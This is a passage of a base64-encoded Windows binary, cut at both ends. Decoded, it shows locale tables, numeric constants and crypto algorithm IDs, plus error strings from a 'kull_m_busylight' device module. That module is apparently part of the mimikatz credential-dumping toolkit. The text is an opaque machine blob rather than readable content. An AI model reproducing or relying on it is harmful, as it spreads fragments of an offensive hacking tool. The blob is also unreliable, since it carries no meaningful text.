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wB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEIAdQBzAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABkAGUAdgBpAGMAZQBIAGEAbgBkAGwAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAUwBlAHQAdQBwAEQAaQBHAGUAdABDAGwAYQBzAHMARABlAHYAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwByAGUAcQB1AGUAcwB0AF8AYwByAGUAYQB0AGUAIAA7ACAAYwBvAHUAbgB0AD0AJQB1ACAAKABtAGEAeAAgAGkAcwAgADcAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFcAcgBpAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABTAGkAegBlACAAaQBzACAAbgBvAHQAIAB2AGEAbABpAGQAZQAgACgAcwBpAHoAIAA9ACAAJQB1ACwAIABtAGEAeAAgAD0AIAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABJAG4AdgBhAGwAaQBkACAARABlAHYAaQBjAGUALwBCAHUAcwB5ACAASABhAG4AZABsAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFIAZQBhAGQARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgACUAdQAgAGIAeQB0AGUAKABzACkAIAByAGUAYQBkAGUAZAAsACAAJQB1ACAAdwBhAG4AdABlAGQACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwByAGUAYQBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAASQBuAHYAYQBsAGkAZAAgAEQAZQB2AGkAYwBlAC8AQgB1AHMAeQAgAEgAYQBuAGQAbABlAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwBpAG4AZgBvAHMAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAZABhAHQAYQBbADAAXQAgAGkAcwAgAG4AbwB0ACAATgBVAEwATAAgACgAMAB4ACUAMAAyAHgAKQAKAAAAAAAAAAAAuyfKOw4AAABg/AiAAQAAALsnyzsGAAAAsPwIgAEAAAC7J8w7A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